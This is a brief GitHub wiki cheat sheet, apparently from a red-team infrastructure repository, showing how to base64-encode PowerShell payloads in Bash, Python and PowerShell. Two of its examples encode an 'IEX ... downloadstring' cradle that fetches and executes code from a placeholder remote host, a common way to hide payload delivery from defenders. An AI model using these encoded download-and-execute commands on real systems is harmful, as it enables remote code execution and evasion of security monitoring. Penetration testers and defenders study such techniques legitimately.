Base64 encode payloads for powershell - CraigDonkin/Infrastructure GitHub Wiki

Bash

echo -n "IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx:xx/xxx'))" | iconv -t UTF-16LE | base64 -w 0

Python

from base64 import b64encode
b64encode('echo blah'.encode('UTF-16LE'))

Powershell

$payload = 'IEX ((new-object net.webclient).downloadstring("http://xx.xx.xx.xx:xx/xxx"))'
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($payload))